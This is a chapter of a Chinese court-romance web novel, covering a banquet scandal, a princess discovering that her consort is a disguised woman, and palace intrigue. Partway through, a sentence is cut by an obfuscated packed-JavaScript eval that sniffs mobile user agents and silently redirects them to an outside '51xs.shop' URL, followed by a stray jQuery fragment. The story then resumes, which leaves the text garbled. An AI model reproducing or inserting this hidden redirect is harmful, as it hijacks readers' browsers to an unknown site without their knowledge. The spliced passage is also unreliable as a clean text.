那张尚书家的王大公子一时间气血上涌,想起刚刚驸马还同自己若无其事地说话,此时便跑到后院来与自己的妻子……
王大公子拿起屋子里一柄装饰的剑就朝驸马这边劈砍过来,冯伏芳吓得连忙四处躲避。
“公子公子,误会啊,与嫂嫂通奸的另有他人,并非是我啊。”
可是王公子此时已经听不见其他话,看着公主殿下对这位驸马也并不上心,自己现在就算砍他两下泄愤应该也是说得过去的。
“他人?他人又在何处,你休得狡辩,看剑!”
冯伏芳用尽全力躲避,而屋里的侍从也就看着他家主子朝冯伏芳劈砍,全然没有想阻拦的意思。
就在冯伏芳不小心跌倒在门口,躲无可躲之时,王公子嘴里还说着,“我今日非砍了你不可。”
“谁敢!”青月出声,她身后的侍卫也忙上前制止住王大公子,将自家驸马拉了起来。
“没事罢。”公主朝冯伏芳关心地问道,与刚刚果断霸气的语气全然不同。
冯伏芳艰难地站了起来,朝公主殿下摇了摇头。
“究竟是何事,竟然引得王大公子不由分说就要砍起人来,要知道,公主驸马可是陛下赐婚,驸马爷也是今年的新科状元,王大公子哪里来的权势竟压人至此?”
梁浅站上前来有些愤怒地质问着对方,可王公子虽然被侍卫压着,却始终不为所动。
此时萧明渊也到了,轻声站到了梁浅身后,和梁浅默契对视一眼。
“王公子?今日之事究竟如何?”
王大公子见到萧明渊和自家父亲都过来了,终于将手里紧紧握着的剑丢了下去,“萧大人,父亲,我……”
张尚书到了之后先过去打了大公子一巴掌,“你个不成器的,你闹成如今这模样是干什么?”
“还有你!”张尚书又伸手指着跪在地上哭泣的儿媳妇骂着。
见梁浅眉头紧锁,萧明渊也上前去拉了拉张尚书,“王大人,今日还是二公子的婚宴,凡事还是以大局为重。”
“是是,萧大人,可如今这奸夫?”张尚书恭敬地朝萧明渊点了点头,又看了看站在公主身后的驸马。
梁浅见状站了出来朝王尚书行礼,“大人,如今现场的奸夫可不止这一个哩。”
众人都朝梁浅这边看了过来,梁浅抬了抬手,月银便拽着一个男子走了出来。
青月眯了眯眼睛,像是认了出来这男子的身份。
“这不是丞相家那个侄子?”
听到这里,萧明渊的眉毛一挑,朝尚书说道:“哦?那今日之事涉及的可就多了,尚书大人。”
王尚书瞬间懂了萧明渊的暗示,如今不仅自己儿子作为惹了公主驸马,现在这奸夫是谁也成了萧大人和丞相要求他表态的事了。
“如此,萧大人既不是这涉及内情之人,又正好是断案好手,那就请萧大人断断案子?”
梁浅见王尚书急得满头大汗,出声说着对策,也是见地上一直在哭的女子心急,怕是留给他家,不问清白与否,这女子就会被打死了。
萧明渊领会了梁浅的意思,与其慢慢等王尚书表态,不如把事态掌握在自己手里。
于是冲着梁浅笑着点了点头,转头来又冷着脸叫人来将地上的丞相侄子和大公子夫人带走了。
那丞相侄子见驸马还同公主殿下站着,便嘴里骂骂咧咧地不服来人的束缚。
萧明渊见状也只有朝公主殿下走了过来,朝公主驸马行礼道:“长公主殿下,既然驸马也有嫌疑,还请驸马也随我走一趟才是。”
青月下意识地护在了冯伏芳的身前,看了看伏芳手上的伤,满脸愁容。
冯伏芳看出了公主的为难,伸出手来握住了青月的手,“无妨,公主,我随他们去一趟就是,我是清白的,我自然不怕……公主也别怕,萧大人是清明之人,定会秉公办案的。”
梁浅听到伏芳说萧明渊是清明之人,不禁撅起嘴来认真思考了起来,他清明?
青月见到冯伏芳的举动有些松动,犹豫了片刻,还是又转身来对着萧明渊和王尚书行礼。
“我明白了,大人,只不过驸马这些日子受了不少伤,刚刚还受了惊吓,还望大人通融,让我给驸马换个药,一会儿我亲自送过去。”
冯伏芳见青月为自己低头,不禁眼里有些泪水在打转,自从兄长走后,还没有一个人这么关心过自己,嗯,好运来的东家和掌柜倒也算。
“公主殿下定是能作保的,这驸马身上的伤势要紧。”
梁浅出声解围道,于是萧明渊也顺水推舟地点了点头,让月银先带着其他人先行离开了。
……
马车上,青月悉心地给冯伏芳换着伤口的药,虽然动作有些笨拙但是却仔细地吹着伤口。
“公主,我自己来就好,不该让您做这些事的。”
冯伏芳收了收自己的手,有些感激地看着公主。
“你莫要嫌弃我这公主殿下的架子大才好,既然你我是夫妻,这些就是夫妻之间该做的。”
“怎会嫌弃公主,公主今日护我,小人感激不尽,更何况人对人没有什么该做不该做,死了都是一捧黄土。”
青月这些时日的相处心里对于冯伏芳也有了初步的判断,加上他初来京城,又怎会与那大公子家的家眷熟识,所以朝他安慰道。
“你也不用担心,我自然相信你是清白的,到了萧大人哪儿,你只管如实说就是,看样子今日王尚书设宴本来就是想拉拢我们的,只是未曾想出了这样的事。”
青月说罢,便低头去整理起药箱,冯伏芳见状,心里挣扎了片刻,还是作出了决定跪到了青月的面前。
“驸马你这是?”
“长公主殿下,公主如此良善,小人并非良人,想是耽误了公主的前程,小人有一事相瞒,今无论如何都要将此事告知公主,公主若是生气……任凭公主处罚。”
青月想扶对面的驸马起来,可是驸马一直仍然跪着,见青月收回了手,冯伏芳这才直起身来,然后慢慢将上衣的衣扣解开。
见到对面开始解上衣,青月一下子脸红了起来,忙伸手遮住了自己的眼睛,但是余光仍然忍不住看。
“驸马,这样不好罢,这是在马车上,到时候……你!”
青月余光忽然瞥到了冯伏芳胸口裹着的白布,瞬间就明白了许多,原来驸马一开始的拒绝,到后面不愿与自己亲近,都是这个原因。
“你是女子!你怎么敢如此欺瞒于我!”
青月瞬间感受到自己气血上涌,在宫里这么多年,要说自己最痛恨的,还是被人欺骗,偏偏这个人还是自己成婚以来极其信任的“夫君”。
“小人自知无可辩驳,还请公主殿下责罚。”
冯伏芳又低头朝青月磕着头,自己的脸上没有丝毫畏惧,青月感觉气的头疼,顺手便捡了手边的一个药瓶砸了过去。
那药瓶也正正打在冯伏芳的头上,可是她却没有躲,也没有发出一点声音。
“你!”青月气得说不出话来,此时又不能掀开帘子发火,只得自己抱着手坐在马车里生气。
“公主殿下要打要罚,我冯某人都会受着,萧大人那边也不会连累到公主,届时我只说公主对我不甚满意,已经要同我合离了,无论如何,都不会影响公主声誉。”
冯伏芳抬起头来偷看了一下公主此时的神情,见她还在生气便又低下了头。
而青月也看到了冯伏芳额头上的伤口,又看了看自己刚刚帮他换好药的手,还有她脸上的淤青。
终于青月也是心软了,这个人确实是良善之人,成婚也未曾问我要过什么,也不像其他那些朝中大臣一般心思深沉。
青月深呼吸了半晌,才终于平复了些许心情,伸手将冯伏芳身上的衣服穿了回去。
“别着凉了才是……同我说说罢,你这一路的艰难险阻。”
冯伏芳见到公主淡定的动作和神情才终于也是松了一口气,同青月讲起了自己的身世。
*
而在另外一马
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120821|147035||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
车上,梁浅靠在萧明渊身上挽用手指着自己的头发,“你说今日之事真的都只是巧合吗?”
“或许是巧合,可是也正因为驸马阴差阳错的误入,让这件事变得能让有心人做文章了。”
梁浅坐直了起来,朝马车外看了看,这才转过身来。
“今日宴请看上去也是尚书大人在表态度?公主殿下因为选驸马之事和丞相翻了脸,加上人人都传驸马和我们站在一起,想必他是觉得公主殿下如今也是站在丞相的对立面了。”
萧明渊接着气定神闲地说着,“说不定他也知道了些许内情,这些年也未曾见过他同谁走得近,态度向来中立,说不定他才是真正忠于陛下之人。”
两人的讨论陷入了沉默,忽而马车停了下来,两人掀开帘子去看,只见万星着急地从前面跑来,向两人示意马车前面的人。
“陛下有旨,让大人和夫人入宫觐见。”
两人默契对视一眼,忙下了车去接旨,“公公劳累了,这么晚还让你过来。”
正说着,万星便将银子悄悄递了过去,那公公收了银子,满脸笑意地回礼,“都是奴家分内的事,哪敢说劳累。”
“公公可知今夜陛下宣我们进宫究竟是何事?”梁浅装作一脸愁容地样子朝公公说道。
“我们这些下人哪里知道天子的圣意,只听说也遣了人去请青月公主,别的奴家也就不知了。”
“多谢公公,公公慢走。”
太监的马车逐渐远去,梁浅看着萧明渊的圣旨陷入了沉思,“莫非今日之事传到了陛下哪里?”
萧明渊转过头来,看着梁浅一脸焦急,伸手抚了抚她额前的碎发,“可能不止陛下,还有太后。”
*
“事情就是如此,长公主殿下,如今我也是没有什么牵挂,公主殿下如何处罚我都愿意受着,还望公主不要耽误了光阴,寻个好人家才是,小人,不值得托付。”
冯伏芳说完又俯身跪了下去,青月无奈地叹了叹气,看向窗外。
“皇兄曾经有一位青梅竹马,那时父皇也才入京,京城里皇宫里还没有这么多的规矩,他们时常在城里玩耍,可是后来慢慢长大,父皇的子嗣变得多了起来,后宫的人也多了起来。
渐渐地也多了许多许多的规矩,而皇兄也不能常常出宫去寻她,当时萧大人曾是皇兄的陪读,他们关系也很好,可后来萧老将军死于他乡,萧大人也逐渐远离了京城。
后来几位弟弟也争起了皇位,母后本来也想成全皇兄,可是宫里的心机计谋让我们胆寒,若是不得权力,我们都没有什么好下场,这才让皇兄娶了家室更好的当今的皇后嫂嫂。
而那女子从此剃发修行,离了京城,皇兄成了太子后想去再见她一面,可有人暗中刺杀,那女子也就替皇兄挡下了刀,从此香消玉殒。”
青月平静地讲述着这些皇家秘事,若是平常人听了,定是捂住耳朵想这可是掉脑袋的事情,多知道一句就多一份危险,可冯伏芳也只是静静地听着。
“原本我想着若是寻到一个好郎君,是不是我也能有一份与众不同的感情。
可如今我算是看淡了,作为与陛下一母同胞的公主,我不过也是陛下忌惮的势力,也是朝中众人拉拢的对象罢了,我的婚事,也不过是各方权衡利弊得出的结果。”
青月说完,又将冯伏芳扶了起来,“与其等着一个好郎君来让举案齐眉,不如让自己活得开心,新婚那日,你说过的,我对你不满意的话,我的那些公子你也是会好好对待的不是?”
青月抬起了头,眼睛有些红红的,可是此时却满脸笑意地拉起了冯伏芳。
“一言既出驷马难追。”
冯伏芳也感激地笑着,对着青月行礼。
马车停了下来,嬷嬷靠近窗边说道,“公主?太后说让您和驸马进宫一趟。”
“嗯,知道了。”青月轻声应着,马车又动了起来,“看来,母后也知道今日之事了,唉,那人消息传得这么快,居然还想将事情闹起来,真是可恶。”